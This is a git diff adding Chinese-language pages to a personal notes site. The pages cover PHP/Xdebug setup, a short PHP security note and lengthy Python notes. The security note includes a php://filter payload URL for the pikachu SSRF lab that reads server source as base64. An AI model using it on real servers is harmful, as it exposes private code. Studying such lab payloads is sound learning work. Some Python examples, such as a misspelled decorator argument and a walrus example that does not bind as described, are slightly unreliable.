为了更好的了解 CGI 是如何工作的,我们可以从在网页上点击一个链接或 URL 的流程:

  • 1、使用你的浏览器访问 URL 并连接到 HTTP web 服务器。
  • 2、Web 服务器接收到请求信息后会解析 URL,并查找访问的文件在服务器上是否存在,如果存在返回文件的内容,否则返回错误信息。
  • 3、浏览器从服务器上接收信息,并显示接收的文件或者错误信息。

CGI 程序可以是 Python 脚本,PERL 脚本,SHELL 脚本,C 或者 C++ 程序等。


CGI 架构图:

cgiarch


Python3 CGI 编程_w3cschoolopen in new window


XAMPP是一个易于安装的Apache发行版,其中包含MariaDB、PHP和Perl。仅仅需要下载并启动安装程序。

Download XAMPP (apachefriends.org)open in new window


image-20221021094326815

写 PHP 的话可以选择开启 Apache


配置环境变量

将 XAMPP 安装目录下的 php 目录添加到 环境变量-系统变量-Path 中然后在命令行中输入 php -v 就可以看到版本号了

image-20221021095308959


下载 xdebug 插件

XDEBUG 从入门到精通 - 掘金 (juejin.cn)open in new window


Xdebug是PHP的扩展,用于协助调试和开发。

  • 它包含一个用于IDE的调试器
  • 它升级了PHP的var_dump()函数
  • 它为通知,警告,错误和异常添加了堆栈跟踪
  • 它具有记录每个函数调用和磁盘变量赋值的功能
  • 它包含一个分析器
  • 它提供了与PHPUnit一起使用的代码覆盖功能。

但不推荐在生产环境中使用xdebug,因为他太重了。


[xedebug 下载地址](Xdebug: Downloadsopen in new window)

[Configure Xdebug | PhpStorm (jetbrains.com)open in new window](https://xdebug.org/download)


在命令行输入 php -i 并把输出粘贴到 Xdebug: Support — Tailored Installation Instructionsopen in new window 便可以看到需要下载哪个版本的 xedebug 下载完后将该 dll 文件拷贝到 xampp/php/ext 目录下并重命名为 php_xebug.dll

image-20221021111954317

将其放到 xampp/php/ext 目录下并修改 xampp/php/php.ini , 在末尾添加 xedebug 相关配置, 其中 zend_extensionxedebug 文件路径

Xedebug3 配置如下:

[xdebug]
+zend_extension="<path to xdebug extension>"
+xdebug.mode=debug
+xdebug.client_host=127.0.0.1
+xdebug.client_port="<the port (9003 by default) to which Xdebug connects>"
+
[xdebug]
+zend_extension=xdebug
+xdebug.mode=debug
+xdebug.client_host=127.0.0.1
+xdebug.client_port="9003"
+

xdebug dll 命名为 php_xdebug.dll 后这里的 zend_extension 就可以写 xebug, 否则写 dll 的完整路径


在 VSCode 中调试 PHP

安装 PHP Debug 扩展

image-20221021101332552

修改 VSCode 的 settings.json, 修改如下配置

"php.debug.executablePath": "D:/Software/Programming/PHP/XAMPP/php/php.exe",
+

打开一个文件目录创建并编辑 test.php 文件

<?php
+$a = 'hello world';
+echo $a;
+?>
+

F5 执行

image-20221021103344298

也可以使用


在 PHPStorm 中调试 PHP

和上文中一样打开一个文件目录创建一个 test.php 文件

编辑配置项

image-20221021112755348

填入 php.exe 以及 php.ini 的路径即可

image-20221021112834002

调试 php 文件

image-20221021112925694


一些基本指令

查看 PHP 版本

php -v
+
+ + + diff --git "a/Language/PHP/PHP\345\256\211\345\205\250.html" "b/Language/PHP/PHP\345\256\211\345\205\250.html" new file mode 100644 index 0000000000..cd2dab6801 --- /dev/null +++ "b/Language/PHP/PHP\345\256\211\345\205\250.html" @@ -0,0 +1,41 @@ + + + + + + + + PHP 安全 | DailyNotes + + + + + + +
跳至主要內容

PHP 安全

大约 1 分钟

PHP 安全

php:filter

php://filter的妙用 – JohnFrod's Blogopen in new window

探索php://filter在实战当中的奇技淫巧-安全客 - 安全资讯平台 (anquanke.com)open in new window

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)open in new window

PHP伪协议总结 | xiaoZ's Blog (xiaozzz.xyz)open in new window


  • php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

  • php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

    参数名称描述
    resource=<要过滤的数据流>必要参数; 其指定了需要筛选过滤的数据流
    read=<读链的筛选列表>可选参数; 可以设定一个或多个过滤器名称, 以管道符 `
    write=<写链的筛选列表>可选参数; 可以设定一个或多个过滤器名称, 以管道符 `
    <; 两个链的筛选列表>任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于读或写链

例如 pikachu 靶场中的 ssrf -> file_get_content 题目中可以使用 php:filter 将网页源码 base64 编码读取出来, 然后再解码查看

http://[host]:[port]/vul/ssrf/ssrf_fgc.php?file=php://filter/convert.base64-encode/resource=ssrf.php
+
+ + + diff --git a/Language/PHP/index.html b/Language/PHP/index.html new file mode 100644 index 0000000000..a47cb6f660 --- /dev/null +++ b/Language/PHP/index.html @@ -0,0 +1,40 @@ + + + + + + + + P H P | DailyNotes + + + + + + +
跳至主要內容

P H P

小于 1 分钟

+ + + diff --git a/Language/Python/Note-python.html b/Language/Python/Note-python.html new file mode 100644 index 0000000000..b6c600573d --- /dev/null +++ b/Language/Python/Note-python.html @@ -0,0 +1,601 @@ + + + + + + + + Python随笔 | DailyNotes + + + + + + +
跳至主要內容

Python随笔

大约 40 分钟

Python随笔


前言


python 简介

  • 创建 Python 的初衷是,通过屏蔽更多与硬件的复杂交互来简化软件开发。 缺点是 Python 对这些交互的控制力较弱。 因此,Python 可能不适合某些占用大量处理器时间的应用。
  • 其他编程语言可以更好地控制与硬件的复杂交互。 如果使用得当,它们的性能比 Python 更好。 但它们可能更难以理解。 许多软件应用不需要通过这种程度的优化来提高性能。

什么是编译


Python 的工作原理

  • Python 具有编译器。 但是,该编译器不会将源代码直接转换为计算机可以理解的格式, 而是以特殊格式生成 Python 解释器可以解释和运行的代码。

    解释器 是运行每个指令的程序。 它跟踪 RAM 中值的存储位置。 解释器还知道如何与文件系统或网络等外部资源进行交互。

    换句话说,解释器是一个执行环境,它管理你的意图与计算机内部运作之间的复杂交互。

  • Python 解释器可用于许多计算机平台。 例如,如果在 Linux 上编写了 Python 代码,该代码也将在 macOS 和 Windows 上运行。 无需为特定计算平台编译源代码就可以运行程序。


当前 python 各版本的使用情况

Python Developers Survey 2021 Results (jetbrains.com)open in new window

Python Developers Survey 2022 Results (jetbrains.com)open in new window

image-20230605112255365

image-20230605112325787


换源操作

py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc  
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
  • 镜像源地址
    • 阿里云
      https://mirrors.aliyun.com/pypi/simple/
    • 中国科技大学
      https://pypi.mirrors.ustc.edu.cn/simple/
    • 豆瓣(douban)
      http://pypi.douban.com/simple/
    • 清华大学
      https://pypi.tuna.tsinghua.edu.cn/simple/
    • 中国科学技术大学
      http://pypi.mirrors.ustc.edu.cn/simple/
  • 补充:将包装到指定路径:
    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple  pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
    +

code2flow ---- 根据 python 代码生成项目结构及函数调用图


概述(摘自项目README)

Code2flow generates call graphsopen in new window for dynamic programming language. Currently, code2flow supports Python and Javascript.

The basic algorithm is simple:

  1. Find function definitions in your project's source code.
  2. Determine where those functions are called.
  3. Connect the dots.

Code2flow is useful for:

  • Untangling spaghetti code.
  • Identifying orphaned functions.
  • Getting new developers up to speed.

安装

  • clone code2flow 仓库open in new window 或者 download Zip 或者在此处open in new window获取我下好的仓库压缩包 (2021.5.22) 并解压
  • 此处open in new window选择系统相应版本的软件进行下载;或者在此处open in new window获取我下好的版本 (Windows 10 (64-bit) v-2.47.1); 下载完后运行并安装此软件(安装过程中记得勾选添加环境变量)
  • 选择一个自己趁手的 python 环境管理工具(这里我用的 anaconda) 在一个 python 环境 下打开命令行(我直接用的 Pycharm 打开项目 然后选择一个 conda 环境作为项目的python解释器之后在Pycharm的终端命令行中执行的)
    • 在项目根目录执行
      python setup.py install
      +
      20210522162039
    • 成功安装后在当前 python 环境的根目录下的 Scripts 目录下可以看到一个 code2flow 文件
      20210522162413

使用

  • 不支持中文,注释也不行,因此第一步就是要给待会要作为基底生成流程图的python文件去中文注释

  • 由于 VSCode 的查询功能有正则匹配的模式,所以想到使用 VSCode 直接去除整个文档的注释

    • 记得备份原文档(直接使用拷贝文档就是了)
    • (^#.* 匹配以#开头后接任意个任意字符的语句来去掉注释行)[PS : . 不会匹配 \n (换行)] 匹配行首注释
    • #.* 匹配行尾注释 20210522163436
  • 将去除注释的文件和 安装过程中最后指出的 Scripts 目录下的 code2flow 文件拷贝到同一文件目录下并用已经安装好 code2flowpython环境 打开该文件夹并打开命令行执行

    python code2flow mypythonfile.py
    +

    2021052216430020210522164321



程序性能分析

执行时间


pyinstrument

joerick/pyinstrument: 🚴 Call stack profiler for Python. Shows you why your code is slow! (github.com)open in new window

User guide - pyinstrument 4.3.0 documentationopen in new window

pip install pyinstrument
+

用例: 单文件脚本分析并输出 html 分析页

pyinstrument -r html script.py
+

使用datetime判断

import datetime
+
+# 程序开始处:
+begin = datetime.datetime.now()
+
+# 程序结束处:
+end = datetime.datetime.now()
+print("程序执行时间:{0}".format(end-begin))
+

内存占用

guppy3

  • 安装
    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple guppy3
    +
  • 使用
from guppy import hpy
+h = hpy()
+print(h.heap())
+

使用memory_profiler查看

  • 安装
    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -U memory_profiler
    +
  • 使用
    import memory_profiler
    +
    +@memory_profiler.profile
    +def 函数名():
    +  你要测试内存占用的代码
    +
    +
    +函数名()    # 运行此函数
    +

import 相关


相对导入引发的相关问题

python - ImportError : Attempted relative import with no known parent package - Stack Overflowopen in new window

python - Relative imports for the billionth time - Stack Overflowopen in new window

【一分钟解决】Python报错ImportError: attempted relative import with no known parent package_jaredyam的博客-CSDN博客open in new window

终于搞懂了Python模块之间的相互引用问题 - 知乎 (zhihu.com)open in new window

ModuleNotFoundError

ModuleNotFoundError: No module named '__main__.src_test1'; '__main__' is not a package
+

一般出现于运行的当前文件中通过相对引用 .xxx 引入其他模块时由于运行时当前模块名为 __main__ 所以会对相对引用路径进行拼接导致引用错误

解决方法: 引用当前文件同级目录下的模块可以不用 . 拼接直接 import xxx


ImportError

ImportError: attempted relative import with no known parent package 
+
|--- test_main.py
+|--- src
+  |--- __init__.py                                                              
+  |--- src_test1.py
+  |--- src_test2.pys
+  |--- test_src.py
+

src_test1.py:

from .src_test2 import Test2
+def func1():
+    pass
+

test_src.py:

from src_test1 import fun1
+

运行 test_src.py 会上述错误, 问题在于引入 src_test1 时, src_test1 内使用 . 拼接相对路径引用 src_test2, 由于 . 的存在, 需要先找到父包才能继续拼接路径, 但是当前 test_src.py 被认为是根结点(没有父包), 所以会报 no know parent package


解决方案

需要注意的是: 上面的报错都是运行时报错, 在编写代码时至少 VSCode 是不会报错的, 那么个人的解决方案就是将主业务全放在工作区根目录下的一个目录下, 然后在根目录放一个 py 文件调用程序主入口来启动程序


基础杂项


函数注释

python函数注释 - stardsd - 博客园 (cnblogs.com)open in new window

什么是 REST 风格 - 知乎 (zhihu.com)open in new window

理解RESTful架构 - 阮一峰的网络日志 (ruanyifeng.com)open in new window

Rest 风格的注释:

"""
+This is a reST style.
+ 
+:param param1: this is a first param
+:param param2: this is a second param
+:returns: this is a description of what is returned
+:raises keyError: raises an exception
+"""
+

深浅拷贝

  • 该部分来源open in new window
  • 直接赋值:其实就是对象的引用(别名)。
  • 浅拷贝(copy):拷贝父对象,不会拷贝对象的内部的子对象。
  • 深拷贝(deepcopy): copy 模块的 deepcopy 方法,完全拷贝了父对象及其子对象。

字典浅拷贝实例

>>>a = {1: [1,2,3]}
+>>> b = a.copy()
+>>> a, b
+({1: [1, 2, 3]}, {1: [1, 2, 3]})
+>>> a[1].append(4)
+>>> a, b
+({1: [1, 2, 3, 4]}, {1: [1, 2, 3, 4]})
+

深度拷贝需要引入 copy 模块:

>>>import copy
+>>> c = copy.deepcopy(a)
+>>> a, c
+({1: [1, 2, 3, 4]}, {1: [1, 2, 3, 4]})
+>>> a[1].append(5)
+>>> a, c
+({1: [1, 2, 3, 4, 5]}, {1: [1, 2, 3, 4]})
+

解析

  • b = a: 赋值引用,a 和 b 都指向同一个对象。

  • b = a.copy(): 浅拷贝, a 和 b 是一个独立的对象,但他们的子对象还是指向统一对象(是引用)。

  • b = copy.deepcopy(a): 深度拷贝, a 和 b 完全拷贝了父对象及其子对象,两者是完全独立的。


逻辑符号

  • and的优先级要大于or
  • a and b语句的输出全看a的Boolean值,如果a为True,输出b;反之,如果a为False,输出a
  • a or b语句的输出也全看a的Boolean值,如果a为True,输出a;反之,如果a为False,输出b
  • 在python中not是逻辑判断词,用于布尔型True和False,notTrue为False,notFalse为True
  • 只有0、None、空、False的布尔值为False,其余的为True。
    • 参与数学运算时,True->1,False->0;

随手记

  • id是内置函数,不能作为变量名使用

输出

  • print函数的参数end表示分隔参数(默认为回车)

Python格式化输出 %s %d %f

  • %% 百分号标记
    • 就是输出一个%
  • %c 字符及其ASCII码
  • %s 字符串
  • %d 有符号整数(十进制)
  • %u 无符号整数(十进制)
  • %o 无符号整数(八进制)
  • %x 无符号整数(十六进制)
  • %X 无符号整数(十六进制大写字符)
  • %e 浮点数字(科学计数法)
  • %E 浮点数字(科学计数法,用E代替e)
  • %f 浮点数字(用小数点符号)
  • %g 浮点数字(根据值的大小采用%e或%f)
  • %G 浮点数字(类似于%g)
  • %p 指针(用十六进制打印值的内存地址)
  • %n 存储输出字符的数量放进参数列表的下一个变量中
%格式化符也可用于字典,可用%(name)引用字典中的元素进行格式化输出。
  • 负号指时数字应该是左对齐的,“0”告诉Python用前导0填充数字,正号指时数字总是显示它的正负(+,-)符号,即使数字是正数也不例外。

  • 可指定最小的字段宽度,如:"%5d" % 2。

  • 也可用句点符指定附加的精度,如:"%.3d" % 3。

# 例:数字格式化
+nYear = 2018
+nMonth = 9
+nDay = 12
+# 格式化日期 %02d数字转成两位整型缺位填0
+print ('%04d-%02d-%02d' %(nYear,nMonth,nDay))
+>> 2018-09-12 # 输出结果
+
+fValue = 8.123
+print ('%06.2f' %fValue) # 保留宽度为6的2位小数浮点型
+>> 008.12 # 输出
+
+print ('%d' %10) # 输出十进制
+>> 10
+
+print ('%o' %10) # 输出八进制
+>> 12
+
+print ('%02x' %10) # 输出两位十六进制,字母小写空缺补零
+>> 0a
+ 
+print ('%04X' %10) # 输出四位十六进制,字母大写空缺补零
+>> 000A
+ 
+print ('%.2e' %1.2888) # 以科学计数法输出浮点型保留2位小数
+>> 1.29e+00
+
格式化操作符辅助指令
符号 作用
  • * 定义宽度或者小数点精度
  • - 用做左对齐
  • + 在正数前面显示加号( + )
  • <sp> 在正数前面显示空格
  • # 在八进制数前面显示零('0'),在十六进制前面显示'0x'或者'0X'(取决于 用的是'x'还是'X')
  • 0 显示的数字前面填充‘0’而不是默认的空格
  • % '%%'输出一个单一的'%'
  • (var) 映射变量(字典参数)
  • m.n m 是显示的最小总宽度,n 是小数点后的位数(如果可用的话)

random

randint用于生成正数类型随机数

  • n = randint(20, 100) # 20<=n<=100

时间

time.localtime()

  • 描述:
    • Python time localtime() 函数类似gmtime(),作用是格式化时间戳为本地的时间。 如果sec参数未输入,则以当前时间为转换标准。
    • DST (Daylight Savings Time) flag (-1, 0 or 1) 是否是夏令时。
  • 语法:
    • time.localtime([ sec ])
  • 参数:
    • sec -- 转换为time.struct_time类型的对象的秒数。
  • 返回值:
    • 该函数没有任何返回值。

运算符

海象运算符

Python 海象运算符 - 知乎 (zhihu.com)open in new window

Python 海象运算符 := 是在 PEP 572 中提出,并在 Python3.8 版本并入发布。

海象运算符 := 可用于在表达式中赋值,例如:

a = 2
+if a > 1:
+    print("233")
+

:= 写的话就是:

if a:=2 > 1:
+        print("233")
+

函数


返回函数参数表及参数数目


lamda函数:定义匿名函数

g = lambda x:x+1
+

相当于:

def g(x):
+     return x+1
+

函数注释

  • 例子:
def dog(name:str, age:(1, 99), species:'狗狗的品种') -> tuple:
+  return (name, age, species)
+
  • 查看这些注释可以通过自定义函数的特殊属性__annotations__获取,结果会议字典的形式返回:
dog.__annotations__
+# {'age': (1, 99), 'name': str, 'return': tuple, 'species': '狗狗的品种'}
+
  • 另外,使用函数注释并不影响默认参数的使用:
def dog(name:str ='dobi', age:(1, 99) =3, species:'狗狗的品种' ='Labrador') -> tuple:
+    return (name, age, species)
+

*args,**kwargs

原文链接open in new window

*args的用法

  • 当传入的参数个数未知,且不需要知道参数名称时使用*args;

**kwargs的用法

  • 当传入的参数个数未知,但需要知道参数的名称时(立马想到了字典,即键值对)
def func_kwargs(farg, **kwargs):
+    print("formal arg:", farg)
+    for key in kwargs:
+        print("keyword arg: %s: %s" % (key, kwargs[key]))
+func_kwargs(1 ,id=1, name='youzan', city='hangzhou',age ='20',四块五的妞是 = '来日方长的')
+print('--------------------')
+# 输出结果如下:
+# formal arg: 1
+# keyword arg: id: 1
+# keyword arg: name: youzan
+# keyword arg: city: hangzhou
+# keyword arg: age: 20
+# keyword arg: 四块五的妞是: 来日方长的
+#利用它转换参数为字典
+
+def kw_dict(**kwargs):
+    return kwargs
+print(kw_dict(a=1,b=2,c=3))
+# 输出结果如下:
+# --------------------
+# {'a': 1, 'b': 2, 'c': 3}
+

函数装饰器

装饰器 - 廖雪峰的官方网站 (liaoxuefeng.com)open in new window

Python 一切皆对象, 函数也不例外, 可以通过将函数赋给变量, 这样通过该变量也可以调用该函数

def Func1():
+    print("Hello")
+
+f = Func1
+f()
+

image-20230111120942613

可以通过函数的 __name__ 属性拿到函数名:

image-20230111121112484

如果现在有个需求是在每个函数执行时都要输出日志, 那么此时可以使用 decorator(装饰器), 比如如下装饰器:

# %%
+# 输出日志的函数装饰器
+def log(func):
+    def wrapper(*args, **kwargs):
+        print(f'call {func.__name__}()')
+        return func(*asrgs, **kwargs)
+    return wrapper
+

要使用这个装饰器需要用 @ 语法将其置于被装饰函数的定义处, 如:

@log
+def func2():
+    print("亻尔女子")
+
+func2()
+

image-20230111140546691

@log 放在 func2 的定义处, 相当于执行了:

func2 = log(func2)
+

由于 log 是个装饰器, 返回一个函数, 所以原来的 func2 依然存在, 只是同名的 func2 变量指向了新的函数, 于是使用 func2() 将会执行新的函数, 也即 log() 中返回的 wrapper()

wrapper() 的参数为 (*args, **kwagrs) 可以接收任一参数, 在 wrapper() 中先打印了日志接着调用了原本的函数


带参数的三层装饰器

如果装饰器本身需要传入参数的话则需要再多编一层函数, 比如给 log 加上自定义文本前缀

# 给 log 加上自定义文本前缀
+def log(text):
+    def decorator(func):
+        def wrapper(*args, **kwargs):
+            print(f'{text}, {func.__name__}()')
+            return func(*args, **kwargs)
+        return wrapper
+    return decorator
+

log 装饰函数用法如下:

@log('execute')
+def func3():
+    print('你好')
+
+func3()
+

image-20230111143025404


对齐被装饰函数属性

由于函数也是对象, 有 __name__ 等属性, 使用上述写法的装饰器再调用装饰完的函数的 __name__ 会发现已经变成 wrapper

image-20230111143620782

而有些依赖函数签名的代码使用这种装饰器的话就会报错, 此时需要将被装饰函数的属性也移过来, 不过倒不需要手动 wrapper.__**__ = func.__**__, python 有个内置的 functools.wraps 可以实现此操作:

# 对齐属性
+import functools
+
+
+def log(text):
+    def decorator(func):
+        @functools.wraps(func)
+        def wrapper(*args, **kwargs):
+            print(f'{text}, {func.__name__}()')
+            return func(*args, **kwargs)
+        return wrapper
+    return decorator
+
+@log('执行')
+def func4():
+    print('hello')
+
+func4()
+

image-20230111153207826


可迭代序列


切片操作

  • 逆序
    print(txt[::-1])
    +

ASCII码

chr()函数

  • 描述
    chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
  • 用法
    chr(i)
    • i -- 可以是10进制也可以是16进制的形式的数字。
    • 返回值是当前整数对应的 ASCII 字符。

List

列表

index()

index() 函数用于从列表中找出某个值第一个匹配项的索引位置。

用法
list.index(x[, start[, end]])
+
  • x-- 查找的对象。
  • start-- 可选,查找的起始位置。
  • end-- 可选,查找的结束位置。
  • 该方法返回查找对象的索引位置,如果没有找到对象则抛出异常。

删除列表中某个元素的3种方法


1.remove
  • 删除单个元素,删除首个符合条件的元素,按值删除
# 举例说明:
+>>> str=[1,2,3,4,5,2,6]
+>>> str.remove(2)
+>>> str
+>>> [1, 3, 4, 5, 2, 6]
+

2.pop
  • 删除单个或多个元素,按位删除(根据索引删除)
>>> str=[0,1,2,3,4,5,6]
+>>> str.pop(1) #pop删除时会返回被删除的元素
+>>> str
+>>> [0, 2, 3, 4, 5, 6]
+>>> str2=['abc','bcd','dce']
+>>> str2.pop(2)
+>>> 'dce'
+>>> str2
+>>> ['abc', 'bcd']
+

3.del
  • 它是根据索引(元素所在位置)来删除
# 举例说明:
+>>> str=[1,2,3,4,5,2,6]
+>>> del str[1]
+>>> str
+>>> [1, 3, 4, 5, 2, 6]
+
+>>> str2=['abc','bcd','dce']
+>>> del str2[1]
+>>> str2
+>>> ['abc', 'dce']
+
+
  • 除此之外,del还可以删除指定范围内的值。
>>> str=[0,1,2,3,4,5,6]
+>>> del str[2:4] #删除从第2个元素开始,到第4个为止的元素(但是不包括尾部元素)
+>>> str
+>>> [0, 1, 4, 5, 6]
+
+
  • del 也可以删除整个数据对象(列表、集合等)
    >>> str=[0,1,2,3,4,5,6]
    +>>> del str
    +>>> str #删除后,找不到对象
    +
    Traceback (most recent call last):
    +File "<pyshell#27>", line 1, in <module>
    +str
    +NameError: name 'str' is not defined
    +

注意:del是删除引用(变量)而不是删除对象(数据),对象由自动垃圾回收机制(GC)删除。


补充: 删除元素的变相方法
s1 = (1, 2, 3, 4, 5, 6)
+s2 = (2, 3, 5)
+s3 = []
+for i in s1:
+    if i not in s2:
+        s3.append(i)
+print('s1_1:', s1)
+s1 = s3
+print('s2:', s2)
+print('s3:', s3)
+print('s1_2:', s1)
+

sort()

sort() 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。

用法
list.sort( key=None, reverse=False)
+
  • key -- 主要是用来进行比较的元素,只有一个参数,具体的函数的参数就是取自于可迭代对象中,指定可迭代对象中的一个元素来进行排序。
  • reverse -- 排序规则,reverse = True 降序, reverse = False 升序(默认)。
  • 注意:该方法没有返回值,但是会对列表的对象进行排序。
  • list.sort()改变自身
    • sorted(list)生成新列表

map()

map() 会根据提供的函数对指定序列做映射。

用法
map(function, iterable, ...)
+
  • function -- 函数
  • iterable -- 一个或多个序列
  • 第一个参数 function 以参数序列中的每一个元素调用 function 函数,返回包含每次 function 函数返回值的新列表。
  • 返回值
    • Python 2.x 返回列表。
    • Python 3.x 返回迭代器。

示例:
>>>def square(x) :            # 计算平方数
+...     return x ** 2
+... 
+>>> map(square, [1,2,3,4,5])   # 计算列表各个元素的平方
+[1, 4, 9, 16, 25]
+>>> map(lambda x: x ** 2, [1, 2, 3, 4, 5])  # 使用 lambda 匿名函数
+[1, 4, 9, 16, 25]
+ 
+# 提供了两个列表,对相同位置的列表数据进行相加
+>>> map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10])
+[3, 7, 11, 15, 19]
+

注意点:map对象只能访问一次
A_object = map(str,range(3))
+A_list = list(A_object)
+B_list = list(A_object)
+# 观察A_list,其值为  ['1','2','3']
+# 观察B_list,其值为  []
+
  • 这是由于,map函数返回的,是一个“可迭代对象”。
    • 这种对象,被访问的同时,也在修改自己的值。
      • 类似于 a = a+1
      • 这样。对于map来说,就是每次访问,都把自己变为List中的下一个元素。
    • 循环取得对象中的值 ,实际上是会调用内部函数__next__,将值改变,或者指向下一个元素。
    • 当多次调用,代码认为到达终点了,返回结束,或者__next__指向空,此时可迭代对象(链表) 就算到终点了,不能再用了。
实验:
+
+>>A_object = map(str,range(3))
+>>num = A_object.__next__()
+>>num
+'0'
+>>num = A_object.__next__()
+>>num
+'1'
+>>A_list = List(A_object)
+>>A_list
+['2']
+#此时,A_object已经指向最末尾,空元素了。再次调用next试试
+>>num = A_object.__next__()
+Traceback( most recent call last):
+ Filr "<stdin>" ,line 1 , in <module>
+StopIteration
+可见,该对象已经到了终点了,不能用了。
+
  • 类似于 list(A_object) 或者 for num in A_object 这样的语句,就是调用了迭代器,执行了__next__,消耗了迭代对象。所以,再次使用A_object后,会发现它已经空了。

示例
list_x = [3, 8, 2, 6, 8]
+print("list_x = [3, 8, 2, 6, 8]")
+list_w = [2000, 3000, 2500, 1000, 1500]
+print("list_w = [2000, 3000, 2500, 1000, 1500]")
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+print("list_c = [0.050, 0.050, 0.075, 0.075, 0.075]")
+wc = map(lambda w, c: w * c, list_c, list_w)
+print("wc = map(lambda w, c: w * c, list_c, list_w) = {0}".format(wc))
+print("list(wc):{0}".format(list(wc)))
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+print("wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = {0}".format(wcx))
+print("list(wcx):{0}".format(list(wcx)))
+a = sum(wcx)
+print("a = sum(wcx) = {0} ; wcx = {1}".format(a, wcx))
+b = sum(wc)
+print("b = sum(wc) = {0}".format(b))
+print("wc = {0}".format(wc))
+print("type(a) = {0}, type(b) = {1}".format(type(a), type(b)))
+x1 = a / b
+print("x1 = a / b = {0}".format(x1))
+print("sum(wc):{0} \n type(sum(wcx)):{1} \n type(sum(wc)):{2} \n".format(sum(wc), type(sum(wcx)), type(sum(wc))))
+print("wc:{0}".format(wc))
+print("wcx:{0}".format(wcx))
+x1 = sum(wcx) / sum(wc)
+print("x1 = sum(wcx) / sum(wc) = {0}".format(x1))
+
+# 运行结果:
+list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w) = <map object at 0x00000210CFA9A070>
+list(wc):[100.0, 150.0, 187.5, 75.0, 112.5]
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = <map object at 0x00000210CFA9A040>
+list(wcx):[300.0, 1200.0, 375.0, 450.0, 900.0]
+a = sum(wcx) = 0 ; wcx = <map object at 0x00000210CFA9A040>
+b = sum(wc) = 0
+wc = <map object at 0x00000210CFA9A070>
+type(a) = <class 'int'>, type(b) = <class 'int'>
+Traceback (most recent call last):
+  File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 19, in <module>
+    x1 = a / b
+ZeroDivisionError: division by zero
+

问题示例
list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w)
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum(wcx)
+b = sum(wc)
+print(type(a), type(b))
+x1 = a / b
+print(x1)
+print(sum(wc), type(sum(wcx)), type(sum(wc)))
+x1 = sum(wcx) / sum(wc)
+print(x1)
+
+# 运行结果:
+Traceback (most recent call last):
+  File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 12, in <module>
+    x1 = sum(wcx) / sum(wc)
+ZeroDivisionError: division by zero
+<class 'float'> <class 'float'>
+5.16
+0 <class 'int'> <class 'int'>
+
# 原因解释:
+list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w)
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum(wcx)
+print("list(wcx) = {0}".format(list(wcx)))
+print("wcx._next_() : {0}".format(wcx.__next__()))
+
+# 运行结果:
+Traceback (most recent call last):
+  File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 8, in <module>
+    print("wcx._next_() : {0}".format(wcx.__next__()))
+StopIteration
+list(wcx) = []
+
+

filter

  • filter() 函数用于过滤序列,过滤掉不符合条件的元素,返回由符合条件元素组成的新列表。
  • 该接收两个参数,第一个为函数,第二个为序列,序列的每个元素作为参数传递给函数进行判断,然后返回 True 或 False,最后将返回 True 的元素放到新列表中。

注意: Pyhton2.7 返回列表,Python3.x 返回迭代器对象,具体内容可以查看:Python3 filter() 函数

  • 语法:
filter(function, iterable)
+
  • function -- 判断函数。
  • iterable -- 可迭代对象。

str

字符串


修饰符


Python replace() 方法把字符串中的 old(旧字符串) 替换成 new(新字符串),如果指定第三个参数max,则替换不超过 max 次。

用法
str.replace(old, new[, max])
+
  • old -- 将被替换的子字符串。
  • new -- 新字符串,用于替换old子字符串。
  • max -- 可选字符串, 替换不超过 max 次
  • 返回字符串中的 old(旧字符串) 替换成 new(新字符串)后生成的新字符串,如果指定第三个参数max,则替换不超过 max 次。

split()

Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串

用法
str.split(str="", num=string.count(str)).
+
  • str -- 分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。
  • num -- 分割次数。默认为 -1, 即分隔所有。
  • 返回分割后的字符串列表。
  • 注意:该方法不会改变原本的字符串

# 实例
+str_t = "Line1-abcdef \nLine2-abc \nLine4-abcd"
+print("str_t:\n"+str_t)
+print("str_t.split():")
+print(str_t.split())            # 以空格为分隔符,包含 \n
+print("str_t.split(' ', 1):")
+print(str_t.split(' ', 1))     # 以空格为分隔符,分隔成两个
+
+# 运行结果
+str_t:
+Line1-abcdef 
